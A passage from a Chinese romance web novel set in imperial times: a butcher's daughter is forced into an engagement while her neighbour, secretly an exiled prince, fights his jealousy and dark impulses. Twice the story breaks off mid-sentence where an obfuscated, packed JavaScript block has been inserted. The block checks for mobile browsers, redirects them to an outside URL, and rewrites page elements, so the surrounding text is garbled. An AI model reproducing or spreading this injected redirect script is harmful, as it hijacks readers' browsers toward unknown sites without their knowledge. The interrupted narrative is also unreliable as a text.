如此,范屠户最近像是陷入了疯魔状态,发动各路他能发动的人手,对所有入了他眼的适婚青年做起了背景调查。主打的就是一个从对方的远亲、近邻、丫鬟、小厮、马夫、轿夫……等各路人马下手。 这女婿没挑着合适的,银子倒是先花出去了不少。 更可气地是,他折腾了这一圈才发现,还真就他/妈没一个比得上佟暄的! 这长相稍好点的,就花心纵欲;这稍微老实点的,就家徒四壁;好不容易有一个各方面条件都还过得去的,家里母亲又太严苛,远比不得佟氏夫妻好相处。 范屠户那叫一个怄气呀。但他并未就此停止背调的步伐。 范乐乐瞧爹爹这架势,倒由一开始的不耐烦,生出点无可奈何的好笑了。“爹,我发现你就不应该做屠户,屈才了,你有这本事,就应该潜入敌国做暗探,保管什么情报都能被你搜罗来。” 范屠户没空理会她的调侃,只是叫她专心守着铺子,自己投入到下一家目标对象的调查中去了。 范屠户这段时间折腾得厉害,铺子里几乎日日都是范乐乐在看。 她虽心绪不佳,可开门做生意的,哪有板着个冷脸朝人的?还是站在案板前,勉力赔笑。只是她这不达眼底的笑意,连胡大娘都瞧出来了。 “乐乐,怎么了?我看你最近都没精神的样子。”她接过范乐乐递来的肉,豆子眼往她身后的铺子里觑,没发现范屠户,这才敞开嗓门道:“是不是跟佟家那小子吵架啦?” 范乐乐不大想搭理她。可胡大娘又是铺子里的老顾客,隔三差五地做她家生意,心眼倒也不坏,就是人多嘴了点儿。 心里头虽然有点脾气,可她也还是收敛住了,“瞧您这话说的,我跟他本来也没什么关系,谈不上吵架不吵架的。” 这是要开始跟他撇清关系了。 但在胡大娘眼里看来,这就是小情侣间斗气吵架了。 “呦。”她眼一挤,“看来这是真闹脾气啦?”随即摆出一副过来人的姿态,同她道:“晾晾他也好,就该这样。以前大娘不好跟你说,现在呀,跟你说点掏心窝子的话,你也别嫌大娘多嘴。” “你以前啊,就是对他太好了,惯的他!这男人啊,就该抻一抻他,否则,还真就把自己当回事儿了呢!” 范乐乐听胡大娘这语气,竟是十分真挚,这下再对她笑,那眉眼才算是有了点笑意。 胡大娘见乐乐开心了点,腾出一只老树皮般的手,拍拍她手背,“我们乐乐多好一姑娘啊,大娘从小看着你长大哩!多少好小子心里想着你,就他佟暄装蒜,摆的什么臭架子呢?” 范乐乐瞬间被逗乐,“噗”一声笑出来,那清纯的眉眼嚯地舒展开了。 胡大娘见小姑娘乐了,又赔上几句好听话,这才拎着猪肉,慢慢悠悠走了。 范乐乐望着胡大娘蹒跚的背影,想起爹爹那晚的话:我们乐乐从小就招人稀罕。 是啊,可为什么偏偏……就他不喜欢自己呢? 范乐乐失魂落魄地坐在凳子上,望着街头的人来人往、车去车回,怅然若失。 夕阳西下,倦鸟归巢,街上往来的人又多了起来,有骑马下值的官员,放学归来的学子,还有出门准备在夜幕降临后寻些乐子的闲人。人声鼎沸,笑语交错,是实实在在的烟火人间。 她忽然忍不住就想,这个点,他似乎也该下学了吧? “乐乐!” 正感伤间,一道欢快的高呼打断了她的思绪。 吴松明站在案板前,额头上汗涔涔的,身上有股混合的花香气,从肉腥味间钻出来,直达她鼻尖。 他咧开一口白牙朝她笑,肉乎乎的脸颊白又嫩,清亮的眸子里像是倒映着漫天星辰,而在这星辰之间,只有她。 13. 玉兰花开 “吴松明?” 范乐乐见他来了,也是高兴。他们这些家里的读书人,很少操持家务,更不用说来亲自买肉买菜了。吴松明几乎没怎么光顾过她家肉铺,倒是他家专门来帮忙做饭的乡下小姑,经常来这儿买肉。 “怎么,今儿你小姑不得空?竟劳吴公子大驾,亲自来买肉了?” 范乐乐又开始拿“吴公子”这个称呼调侃他。 吴松明父亲本没有官身,他家在县里是专替人摆红白喜事酒席的,近些年生意做得红火,因此,虽不是什么大富大贵之家,但比起佟暄、方恺和书院大部分的穷苦人家学子,他家也称得上富庶。 吴松明向来手头宽裕,加之他为人又憨直,慷慨大方,就惹得朋友们时不时拿“吴公子”来逗弄他。 吴松明听范乐乐这一说,脸上颇为窘迫,不好意思地挠挠头,“乐乐,你就别打趣儿我了。” 范乐乐知他不经逗,瞧他这样就可乐,脸上笑意也盛了,忙问道:“今儿要点什么?” “哦,我不是来买肉的。” 范乐乐头一歪,眨巴着大眼睛询问他。 吴松明咬着腮,踌躇了半天,额头上旧汗未干又渗新汗。 “我……乐乐……你看看这个,你喜欢吗?”他颤颤巍巍从袖里掏出那支金步摇。 范乐乐瞧见那支簪子,眼睛里惊艳的光一闪而过,“好看。” “真的呀!你喜欢就好!”吴松明释然一笑,把步摇递过去,“这个……送给你的。” “啊?给我?”范乐乐睁大了眼,“为什么?” “因为……你戴着好看。”他胡乱扯着。 “不行不行。”范乐乐连忙摆手,“这东西太贵重了,我收不合适。” “可我……” “而且你看,我就是个卖猪肉的,每天都要挥刀,戴着这个,不是把好东西糟蹋了嘛?” 吴松明:“……” 竟然每条都和佟暄说的合上了。气人! “乐乐……” “这不是吴可筠家那小子吗?” 身后传来声如洪钟的一吼。 吴松明吓得脊背一僵,忙把金步摇揣回去,转过头,笑容僵硬,“范……范叔好。” “真是松明啊,书院今天下学了?” “哎。” “下学了不回家,你来这儿干吗?” “我……”他攥紧了袖子的金步摇,冷汗涔涔,看着范屠户肌肉盘虬的脸,就觉他把“凶神恶煞”四个字都刻脸上了。要是叫他知道自己打了范乐乐的主意,保不齐就会一脚把自己踹飞。 “我来给家里买肉了。” “呦?稀奇!”范屠户走到案板前,熟稔地系上围裙,撇头示意范乐乐去后边儿坐着歇息,“未来的吴举人竟然亲自来买肉啦?” 范屠户逗他,吴松明只是赔着苦笑。 “要点什么?” 吴松明随口说了一串东西,付了钱,提溜着肉,偷偷揣着那支没送出去的金步摇,灰溜溜走了。 范乐乐瞧吴松明见了爹爹那小鹌鹑样儿,脸埋进手心里,直憋着笑。 “哎,那小子刚跟你说什么了?” “没什么。”她脸从手心里抬起,笑意还未褪去。 范屠户见吴松明一来,女儿就乐了,眼睛一忽悠,心思活络了起来,“哎,那吴松明好像也还没议亲呢吧?” “爹!你想什么呢?人家比我还小了仨月呢!”她看爹爹这几日真的是走火入魔了,什么人都能惦记上。 “小一点怎么了?会疼人就行!你看这吴松明,家世也还不错,人长得嘛白白净净的,性子咱也知道,是个老实软和的。这年纪不成问题,十六岁也可以娶妻了的嘛!” “爹!”范乐乐厉声打断他,“你就别瞎搅合了。吴松明是挺好,但我对他没那个意思。” “那怎么了呢?” “他太怂了。” 范乐乐刚说完吴松明“怂”,没过几日,这小子却像是吃了“豹子胆”了。 每日一下学,他便直奔欢乐肉铺来,书箧放到一边,卷起袖子就开始帮忙干活儿。切肉他不会,就笨手笨脚地用麻叶打包猪肉。 他这人,读书转不过来弯,手脚也不利索。范乐乐教了他好多遍,还是只能囫囵包个模样出来。 “你这包的是个什么东西?肉都挤出来了,不对不对,拆了重来。”范乐乐在一边指导着。 “哦……哦哦。”他连声应着,擦擦额头上因紧张渗出的汗,又去慢吞吞拆麻绳,拆完了又重新卷着麻叶去包,“是……是这样吗?”他手上一边动作着,紧张兮兮地瞥一眼范乐乐,一双圆眼睛在猪肉和范乐乐之间来回横跳,活像只受惊的小兔子。 范乐乐本来佯装生气地竖起蛾眉,见他慌慌张张的模样,没掌住,扑哧一下笑出声来。 她扶着腰,笑得前仰后合,清脆的笑声从肉铺飞出去,飞过涌动的人潮,湮灭在街头热闹的喧哗声中。 笑够了,她拭拭眼角的泪花,正对上吴松明尴尬而又不失礼貌的微笑。 自和佟暄在晓月河分别后,她还是头一次,笑得这么开心。 街上人头攒动,模糊了对面的人影。 佟暄背着书箧,还是那身洗旧了的牙白直裰,立在街对面的廊檐下。范乐乐的灿笑落入他眼里,格外刺目。街头的喧哗吃掉了她的笑声,可那弯弯的眉眼,调皮地往外顶的小虎牙,无不昭示着她的快乐。 那一刻,他忽然觉得,宽和可亲的吴松明是那样碍眼。 墨黑的眼眸阴鸷幽深,眼底风卷乌云。 或许,吴松明应该从浔阳县永远消失。 脑海中的神经忽然绷紧。 他合上眼,将眼前的场景阻断,缓了缓呼吸,脑海里拼命回想吴松明曾经对自己的好。不可否认,他是个很好的人,心思纯粹,有赤子之心,尽管天赋一般,却从未对自己有过嫉妒之心,反而总是不吝夸赞,无私分享好物。 吴松明对你很好,佟暄,他没有什么对不起你的地方。 一番冷静克制,疯狂冒头的阴暗想法终于消退了下去。他呼了口气。 佟暄常常会有这种突如其来的失控感,任何一个让自己不爽的人,他都要成倍地报复回去。譬如上次那个摸了范乐乐屁股的捕头,他即刻吩咐暗卫悄无声息地将他在夜里刺死,随后丢入晓月河中。 他早也发觉了,自己似乎是个道德包袱很弱的人,这常常让他觉得危险。甚至在更早的时候,他连这种危险意识都没有,似乎觉得天然就该如此。 九岁那年,家里养的一条小黄狗死了,妹妹佟雪抱着它哭得悲痛欲绝,可他一点也哭不出来,甚至有点不耐烦,只想快点把它埋了。 “行了,死都死了,你再哭它也活不过来了。” “哥,你怎么可以这么狠心?”佟雪泪眼模糊。 那个时候,妹妹伤心失望的眼神叫他难忘。 渐渐地他发现,自己似乎跟别的小孩儿不太一样,他不懂哭,也不理解别人为什么要哭。这种特殊让他不安,所以他开始隐藏自己,想让自己看起来不是那么的奇怪。 佟暄想,一直以来,他都做得很好。 就像刚刚对吴松明会产生的想法,只是刹那,他便感觉到了危险,长久以来锻炼出的理智很快地便压制住了心里生长的疯狂。 再睁眼,眸中已经恢复了清平。他最后看了一眼肉铺前相视而笑的少年少女,神色如常地转身离去。 * 吴松明近日心情不错,他每日来书院都拾掇得清清爽爽的,昂首阔步,意气风发,人往案桌前一座,就开始唧唧地哼小曲儿。 不止方恺瞧出来他的春风得意了,连书院里的其他学子也开始有了微词。 他在欢乐肉铺帮忙的这段时间,很快就有书院里的同窗知晓,不过一日,便传得书院人尽皆知。 “哎,这个吴松明,跑去给人屠户家倒贴卖肉,他还在这乐呢。” “你懂什么呀?这叫为了心上人,心甘情愿。” “嘁,不就是个姑娘嘛,还是人佟暄看不上的。就为了她?好好的读书人搞得自己一身荤腥,真的是有辱斯文。” 那些背后的小声议论,吴松明自然是听不到。或许就算他听到了,也只是当做听不到。 现在追求范乐乐的事情好容易有了点进展,他正是踌躇满志、斗志昂扬之时。 经他这些时日和范乐乐的相处,他总算摸出点姑娘的喜好。 这一日下学后,他特地摘了一篮子白玉兰,挎在臂弯上,往欢乐肉铺去。 鲜美的白玉兰铺满了一整篮,莹润小巧,洁白如雪,香气清芬,丝丝缕缕缠绕,在这肉腥气浓重的铺子里,似是为姑娘开辟出了一片新的天地。 范乐乐接过的时候,那眼底的欣喜,更胜当日看到那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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范乐乐感觉到,自己对吴松明不像一开始那么抗拒了。 这怂小子显示出了他皮糙肉厚的本领来,总是三天两头地在范乐乐面前显眼。或者捧来一本《俳谐集》,一页一页给她讲上面的笑话;或者送来一些有意思的小东小西:用手一搓就会飞的竹蜻蜓,拉一下机关就会在桌上哼哼嗤嗤爬的木头小猪…… 只要有吴松明在的地方,范乐乐周身都会洋溢着一种轻松的氛围。 范屠户把这一切都看在眼里,再加之又去发动了他的“间谍技能”,将吴松明的家庭情况做了番调查,对这个小子是越来越满意了。 “乐乐,你觉得吴松明怎么样?”范屠户抽了口旱烟,问道。 夜晚的堂屋灯火幽微,月光洒在堂前阶下,染白了青石板。范乐乐就着油灯给爹爹纳鞋底,手上麻利地动作着,只是低头不说话。 范屠户见女儿没有回话,心里反而有点高兴。他知道自己这个闺女轴,一时半会儿还放不下佟暄,但她至少没有立马出口反驳,就是不反感。 果然,过了半晌,她开口:“爹,我还不着急。” 范屠户抽了口烟,没说什么。 范乐乐确实不急,她对吴松明实在没有那个想法。这时候,她终于明白爹爹当初那句话,原来从“不讨厌”到“喜欢”,隔的不只是十万八千里,它们之间,是银河,是天堑,是无论如何努力都弥补不了的缝隙。 可虽然她不急,范屠户却按捺不住了。 这日,父女二人在桌边用晚膳,范乐乐刚夹了一筷子蕨菜,范屠户就阴沉着脸开口:“乐乐,有件事,爹爹一直瞒着没告诉你。” “前段时日,张媒婆领着贺知县家的人过来提亲了。” 话一出,范乐乐顿时噎住了,什么菜也没胃口吃了。“爹,那你怎么回的?” 范屠户放下筷子,佝着头,两手掌住大腿,“我回绝了。” 他甚至都没忍心告诉女儿,人家是想把她纳为妾室。 自己宝贝到大的明珠,他宁可她嫁的人身份低点,也不舍得送她去有钱人家做小。 “那就好。”范乐乐松了口气。 “我跟他们说,你已经跟吴可筠家的小儿子议好亲了。” 吴可筠家的小儿子,就是吴松明。 14. 被迫定亲 “爹!” 范乐乐把筷子往桌上一摔,“你怎么能这样呢?!” “我怎么样了?”范屠户低低出声。 “你明明知道的,我不喜欢吴松明!” “现在这是你喜不喜欢的事儿吗?!”范屠户猛然抬头,玄铁大掌在桌上“梆”地一砸。“那人家知县儿子都堵到家门口了,我能怎么办?!除了拿这个理由拒绝,你让我还能怎么办!” 范屠户狂吼一通,搁在大腿上的手直发抖。 范乐乐根本是不知道,今日贺知县的人听到他开口说出拒绝的话后,脸色立马铁青了,范屠户当即吓得腿软,却还是咬牙笑着搪塞。那拨人走了以后,他一个人坐在堂屋,腿肚子抽抽了一刻钟才停。 真的,他觉得自己算得罪知县了,但这已经是他能想到的最体面的拒绝理由,毕竟议亲总得讲究个先来后到。 为防止事情败露,他务必要尽快和吴家把定亲书给签了。还好,吴松明那小子对女儿这么上心,应该不难办,最难办的反而是他家这个被自己惯坏了的闺女。 范乐乐极少见爹爹这么大声气跟自己说话,可一想起爹爹竟然私自就把她的婚事订了,一下子气得上了头。 “反正我不嫁!要嫁你自己嫁!” “胡闹!”范屠户拳头一砸,桌上的碗筷蹭地跳起。 “都什么时候了?你还在这里任性?!你不嫁他吴松明,你想嫁谁?佟暄?你倒是想嫁,可人家他想娶吗?啊!” “爹……”范乐乐瞪大眼睛,不可思议。 她看着爹爹颤抖的腮帮子,这才意识到,他有多生气。 爹爹从来没跟自己说过这么难听的话。 女儿震惊的眼神叫范屠户清醒了点,这才反应过来自己刚刚那话说重了。他神色一软,想找补点回来,歉疚地抚上她的头,“乐乐,……” 手搭在女儿头上,眼睛不经意瞟到她发间的簪子。 那是一根简朴的檀木簪,上面的纹饰简单,刻着一只乐呵呵的小狗,昭示着范乐乐的生肖。 范乐乐自十五岁后就一直戴着它,几乎没有换过别的簪子。 这是她及笄那日,佟暄送给她的。 这支簪子像是一根刺,直戳进范屠户眼窝里。一肚子火气噼里啪啦地烧,冲上脑门顶。 “你……这根簪子……”他嘴唇发抖,范乐乐反应迅速,手捂住簪子惊慌地往后躲。 理智瞬间化为灰烬。 “人家都不要你了!你他妈还戴着这支破簪子做什么?!”犯贱吗?! 他从椅子上蹿起,手一揽,粗鲁地从她发间拔出那根簪子。 三千青丝垂落,在空中飘荡,飞扬的发丝间,范乐乐瞪大眼,看着父亲手臂一举,发了疯般,将簪子狠狠摔在地上。 “啪”! 檀木簪子在石砖上断成两截。 寂静,死一般的寂静。 只有风撩动火苗,灯芯烧出的毕剥声。 范乐乐望着地上断裂的簪子,一时竟忘了去哭。 她眼睛干干的,蹲下身,拾起两截簪子。 上面的小狗咧开嘴,笑得眼睛眯起,只是那嘴边断出了一丝裂纹,像是在有人拿线牵着它,笑得勉强。 手摩挲过断簪,犹记当年,这还是自己跟佟暄要了好久,才得来的礼物。 “佟暄!还有十六天,我就要及笄啦!”范乐乐追着少年,跑上汀兰桥。 “哦,我知道,你五天前已经跟我说过一次了。”他只是背着书箧,头也不回地往前走。 “那你想好送什么礼物给我了吗?”她又小跑几步,赶上他的步伐。少年腿长步子大,她的小短腿总是紧赶慢赶,才能跟上。 佟暄忽然定住,深邃的眼睛看着她,“范乐乐,如果是自己主动问人要来的,那就不叫礼物了。” “啊?”她眼睛一眨,“这有什么区别吗?是你送的就行了呀!” 佟暄:“……” 他丢给她一个无话可说的眼神,转身径直走了。 后来,及笄那日,她终于如愿以偿地,收到了佟暄的礼物——一支刻着开心小狗的檀木簪子。 她高兴坏了,迫不及待地就把它簪在头上。爹爹看见了,也是笑她,说别人的簪子都是雕的花啊鸟啊的,就她的,上面竟然是一只小狗,她还乐呢。 “我本来就属狗啊,这个送我正好,这才叫独一无二!”说完,她把耳朵扯起来,朝爹爹汪汪两声,逗得范屠户拍掌大笑。 那个时候,范乐乐以为,佟暄至少是不讨厌自己的。 他不朝她走过来没关系,她可以朝他走过去。她天真地以为,“喜欢”是靠努力和坚持就可以的。 事实证明,她错得离谱。 她也才明白佟暄那句:自己主动要来的礼物,不叫礼物。 可她还是喜欢,喜欢到尽管他都拒绝了自己,还是舍不得丢,还是每天出门都要把它簪在头上。 自己怎么就能这么喜欢呢…… 就这么喜欢吗……? “啪”地一声,泪水砸在了手背上。 女儿沉默的背影印刻在范屠户瞳孔里,她就这么蹲在那儿,小小的一团,拢在昏昧的灯火中。她一个字都不说,可他就是能感受到,女儿灭顶的悲伤。 他嚅嗫着,想要说句软话,可那话头一到嘴边,就化为了伤人的怒气,“不就是一支破簪子嘛?他都不要你了,你还宝贝着做什么?!你范乐乐又不是没有人要!” 她再也忍不住,手紧紧攥着簪子,泪水决堤而出。 范屠户看着女儿颤抖的双肩,心里又气又疼。 刮骨疗毒,没办法,疼也得受着。佟暄这颗毒瘤,他必须要从她心里剜出。 “你哭也没用!我告诉你,这个吴松明,你是嫁定了!” 这一次,他铁了心要做一个独断专行的父亲,叫乐乐记恨他也罢,只要她的未来,能过得幸福。 * 三日后,琅岳书院。 “佟暄!方恺!大喜事!”吴松明叫嚷着,冲进学堂。 书院正值晨诵时间,夫子还未来,由斋长戴哲带领大家诵读。吴松明这一嚷,破坏了原本和谐的读书氛围。 戴哲上前制止,他忙道个歉,拽起佟暄和方恺就往外头走。 “什么事?有话快说。”佟暄甩开他的手,面色不虞。 “我和范乐乐签了定亲书啦!” “你说什么?!”方恺惊诧,立刻看眼佟暄。只见他阴沉着脸,一双凤眼死死盯住吴松明,像是要用眼神把他心肝剖出来。 “没逗你们!昨儿姜媒婆上我家来,就和她爹把这个亲事敲定啦!” “我爹娘正在备聘礼,过几日就上范家提亲去!”他呵呵笑着,还沉浸在要娶范乐乐的喜悦中,完全没有察觉佟暄的异常。 “今儿晚上我请客,燕时楼,就点他们那个三号的扬州大厨。说好了的啊,谁也不许找借口溜。”他拍拍兄弟俩的肩,粗浓的眉毛一扬,真个的喜上眉梢。 “范乐乐要嫁给你了?”佟暄阴恻恻开口,声音冰冷。 “啊……” 吴松明终于知觉到他身上罩来的冷气,被他刺骨的眼神钉住,只能呆呆地发出一个音符。 二人眼神相交,空气中擦出噼啪的火花。佟暄眸色阴沉,一点点往吴松明的眼底逼近,迫入死角。 他知道,总有一天范乐乐会嫁人,可当那一天真的来临,而且对方还站在自己面前“嚣张炫耀”时,自己居然会是这种心情。 阴暗的念头闪过,像是黑夜中无声划过的闪电。 如果吴松明死了呢? 方恺紧紧搂住佟暄的肩,“松明,恭喜恭喜啊!终于如愿以偿,抱得美人归了。今儿晚上必须陪你喝一杯,你说是吧,子言?”他手又暗暗紧了紧他的肩膀。 只刹那,像是利刃归鞘,寒光咻地敛回匣中。佟暄唇一弯,眼里的坚冰融化,如同阳春三月的和煦。“是啊,恭喜你,松明。” 他笑得那样温润,漂亮的凤眸微扬,一下又变作往日那个温和端方的谦谦君子,仿佛刚刚肃冷的杀气,只是一场错觉。 “谢……谢谢……”他咽了咽口水。 佟暄笑笑,双手坚定地握住他的肩,“松明,我为你感到高兴,真的。” 吴松明被他真切的笑意打动了,很快便忽略了刚刚那短暂的僵持,绽出一个由衷的大笑,皓白的牙齿一咧,晃得人眼晕。 “到时候我和乐乐的喜酒,你们可一定要来吃啊!” “都来坐主桌!” 方恺笑着应下,悄咪咪瞟一眼佟暄,却见他依然嘴角挂着笑,这才松了口气。 “好,一定。” 他笑着回,拳头攥在袖子里,手掌心掐出一排血印子。 * 兄弟三人在燕时楼吃酒,直喝到街边上了灯才出来。 吴松明今儿高兴,人喝得醉醺醺的,在书院借宿的方恺先把他送回家,佟暄则自己走了。 他在晓月河边散了会儿酒气,沿着河堤慢慢走,往家里的方向去。 走到家门口时,天色已经彻底擦黑了,夜幕上的星子依稀可辨。 方要推门而入,却又收回手,目光落在隔壁佟家的大门上。门上贴着的门神已经褪了色,两旁还插着端阳节时的艾草,也已枯黄了去。 他也不 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“你和吴松明的事,我听说了。” “恭喜呀。” 他开口,忙不迭道一声恭喜。 范乐乐眼神闪了闪,心还是没来由的刺痛。她垂下眼,握紧了手中的长棍,鸦羽纤睫在眼底投下深深的阴影,像是未干的泪痕。 没想到,再次见面,竟是听他跟自己说“恭喜”,恭喜她和另一个男子即将成婚。好像他等这一刻,已经等待了很久,终于等到了摆脱自己那不厌其烦的纠缠。 鼻头一酸,泪水冲上眼眶。 “嗯。”她轻轻应一声,调整了下心绪,抬头冲他笑,“到时候请你喝喜酒,可一定要来呀!” 佟暄眸光微动,喉结滚了滚,好半天,方才找回自己的声音,“好。” 她低头的那一刻,他方才注意到,她头上那支戴了两年的檀木簪子,换了。换成了一只碧色翡翠素簪,样式简单,但冰种极其漂亮,他曾在吴松明的袖中见过。 像被那只翡翠簪子刺了一下,呼吸钝痛。 他紧了紧拳头,很想说点什么,澎湃的胸口终究被理智狠狠压制,只温声道:“灯笼,需要帮忙吗?” 范乐乐望了望手里挑着的灯笼,从善如流地递过去,“好呀。” 他身高腿长,对于她来说需要伸长棍子、拼命踮脚才能够到的房檐,他手臂轻轻一抬就能挂上去。 他下巴微抬,侧脸线条流畅,长身玉立,一个挂灯笼的动作,做起来都如春水煎茶般的从容优雅。 可惜,这样的人,终究不是自己的。 她的努力,够不到他的喜欢。 范乐乐忽然发现,自己从情窦初开时做的那个梦,终究是落幕了。或者说,只是梦醒罢了。梦里,是佟暄的身影,梦外,却原来是吴松明那个傻小子。 范乐乐终究是被吴松明打动了。 打动她的那个瞬间很简单,不过一句话,一个眼神。 就在范屠户和吴家议亲时,吴松明又跑来欢乐肉铺,眼里却是没有一点喜色,而是出乎她意料地问:“乐乐,你高不高兴嫁给我?你要是愿意,我叫我爹娘明儿就上门提亲去!可你要是不愿意……我去同范叔说,绝不叫你为难。” 那一刹那,范乐乐心里说不出的感觉。他的眼神太真挚,透明到装不下一点不真诚。 有些话,果然要自己经历了才能明白,就像爹爹说的,找一个自己喜欢的,不如找一个对自己好的。 她释然了,眼睛如月牙弯弯,“我愿意。” “好了。”佟暄把长棍递回她手里,她回过神,愣愣地接过,“谢谢。” 夜风吹过,灯笼悬在屋檐下,飘飘又荡荡。 范乐乐仰头望他,那笑容算不上多潇洒,却是在努力学着释怀,“佟暄,再见了。” 她眼神决然,像是在和自己的青春郑重地做一个告别。 佟暄看进她决绝的眼底,脑袋猛地停止了转动。 就这样了吗?以后,她就是自己的兄弟妻了?便是只能远望着,互相客气地抱以微笑,再也无法多说一个字,无法拥有更贴近的距离? 范乐乐无意再多说,拎着棍子转身,推开院门,还没来得及迈进去,一只手将门环大力一拉,门又“砰”地关上了。 范乐乐瞪大了眼。火热的躯体贴在她背后,剧烈地起伏,几乎要将她的衣服点着。她被圈在怀里,头顶的呼吸急促,炽热的气息喷洒在她脖颈后,激起那处细嫩的肌肤一片战栗。 “范乐乐……”他开口,嗓子暗哑得不像话。 15. 朱砂迷人 身后贴着他滚烫的身躯,范乐乐从来没有和他靠得这么近过,自己几乎是被他挤在门板上,动弹不得。 察觉到他的异常,范乐乐抖着嗓子问:“怎……怎么了……?” 她觉得佟暄现在很奇怪,她解释不了的奇怪。 如果此刻她能转身看到他眼底炽热的烈火,或许能明白过来点什么。 但是她面前只有一块门板,门上武财神模糊的铜铃牛眼正瞪着她,叫她心发慌,只能紧紧攥住怀中的长棍。 佟暄低头瞧见怀里的人,瑟缩成一团,像只惊慌害怕的小猫,雪白的脖颈夜色下泛出荧光,小巧玲珑的右耳垂上,一滴朱砂痣鲜红明亮,羞怯地藏在耳弯处。 眸色越发幽暗了,呼吸剧烈,他指尖都在抖。 总有一天,吴松明也会从她身后这个位置,发现她耳垂上的这点朱砂痣,然后呢?他会拥有她身上的每一寸,甚至这粒朱砂痣。 嫉妒在内心疯长,一瞬间,叫嚣的情潮淹没了冷静克制。他俯身,滚烫的唇触到她的耳垂边,舌尖一卷,将她那滴朱砂痣含在了嘴里。 范乐乐猛地一哆嗦,像是被闪电击了天灵盖。耳垂的濡湿触感让她差点惊叫出了声。 他……他在做什么?!佟暄为什么要吃她的耳朵?! 啊啊啊啊!疯了吗?!还是自己伤心过度出现了幻觉?! 她憋胀得面红耳赤,一颗心脏彭彭直跳,几乎要冲出胸口,撞到门板上。 诡异的是,她并不排斥这种接触,小腿肚子一抽,一股奇异的酥麻自心口处窜出来。 “佟暄……”她猫哼似地叫一句。 他终于放过她的耳垂,靠在她耳边,声音轻到像是蛊惑,“范乐乐……” 他吐气,身上散出一股幽幽的青竹香。范乐乐闭紧了眼,脑子混沌的像是一团麻线,做不了任何思考。 佟暄缓了下气息,他觉得自己一定是疯了。 疯就疯了,他不许她嫁给吴松明,不许她嫁给别人! “你不要……” 话未出口,天空响起一道短促的哨鸣,清脆微弱。若不细听,很容易叫旁人当做了鸟啼声去。 佟暄眼神一凛,所有的元神迅速归位。 这是一级情报的哨响,直接从京中来的消息! 他直起身,放开对范乐乐的桎梏,未待她回转身,急切道:“你先回去歇息,明日再说。” 明日再说……?说什么呀? 范乐乐莫名其妙转头,却只捕捉到一个闪去的白色背影,迅捷地跳入了佟家大门内。 范乐乐:“???” 她迟缓地抬手,摸了摸耳垂,指尖触到一片湿痕。 脸唰地红成了只煮熟的虾子。 他刚刚到底什么意思?这样的佟暄,真的好陌生,仿佛自己从来没有认识他过。揣着不安的心情,还有一点点……隐秘又羞耻的期待,她推开门,头脑昏昏地往闺房去了。 佟家。 房门刚一关上,就有一道黑影从窗内闪入。 “殿下,京中来信。”黑衣暗卫俯首跪地,双手捧上信封。 佟暄接过信,上面的蜜蜡印章他再熟悉不过,虽很少见,却早已深深地刻在他脑海里。那是他的母妃,当今皇后的印玺。 比起母亲,他似乎更习惯在心里,称呼他为皇后娘娘。 离宫那年,他还是个五岁孩童,还未学会记事。他曾无数次在记忆中追寻母亲的碎片,她的气息、她的温度、她的笑容……全都是模糊一片。 母亲,就是陈玉珠的模样。她会把他抱在怀中喂饭,会在他病时守在床前一整夜,还会在他每年生辰日煮一碗长寿面…… 而宫里的那个,只是高高在上的皇后娘娘。 为确保他身份的隐秘,皇后很少来信,这么多年,她的信件屈指可数。每次若有信来,必是京中有要事发生。 他面色冷然地拆开信封,里面只一张小纸条,上书几个大字:王符上奏,请废太子。辛桂、吕百道等附议。 寥寥数字,刀光剑影,云涌风起。 佟暄眼眸一黯,啪地合上纸,无由冷笑。 辛桂、吕百道,这些都是五皇兄的人。看来,朝中果然有人按捺不住了。 灯火幽微,人影摇曳,他望着地上被拉长的孤影,心里越沉越凉。 孤军奋战,鞭长莫及。 他常常觉得这个世界空旷到,只剩自己一个人在作战。 佟暄双指夹着纸条,递到火舌上,火苗趁势而上,他手一松,灰烬瞬间落入灯油。 “替我带一封信给三叔。” “是!殿下!” 暗卫又从窗子走了,只剩窗棂被风拍打出声。他踱到窗边,抬首望天,乌云闭月,众星黯淡。 想起刚刚在范家门口边的冲动所为,他便万分懊恼。 李煊啊李煊,你怎能这么沉不住气? 眼下的情形已是四面楚歌,朝不保夕,她范乐乐要嫁谁就由她去嫁好了!同你又有什么关系?与临汾崔氏女的联姻,绝不可出半点差池! 他咬咬牙,将支摘窗“砰”地关上。 这几日,范家恐怕是日日都热闹喧天,他不愿瞧见,怕自己又冲动惹事,索性到书院避一些时日好了。 * 第二日。 天刚蒙蒙亮,佟家一家人就围坐着桌子,喝稀饭、吃油饼,开始一天的晨食。佟雪、佟岳俩小孩儿埋头在碗里,唏哩呼噜吃得正香。 佟立冬拿筷子敲敲佟雪的碗边,“快去叫叫你哥,怎么弄到这么晚还没起?早饭都赶不上顿热乎的。” “哦。”佟雪放下碗,就要去后厢房叫人,却被陈玉珠拦下,转头朝佟立冬抱怨:“哎,你吵他干吗?他最近课业压力大,你没看到?天天都弄到这么晚才回,就让孩子多睡会儿嘛。” 佟立冬点点头,遂作罢。 晨食进到一半,佟暄的房门终于开了,他拎着个包裹放到桌子上,众人纷纷傻眼,不解地看着他。 “阿暄,这是做什么?”佟立冬开口问话。 “爹,娘。”他恭敬地垂手,立在一边,“乡贡在即,我想最后加把劲儿,争取考个好名次。为了把路上的时间节省出来,我打算乡贡结束前都在书院借宿。” 他这一说,佟家人自然是支持的。他们知道这个儿子有志向、有才学,也都盼着他日后能够通过科举,出人头地,光宗耀祖。 陈玉珠打开他的包袱查 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13520030|141660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看了一番,又去给他添了些东西带上。佟雪抱着他的腰,一直黏到家门口,方才依依不舍地放手。 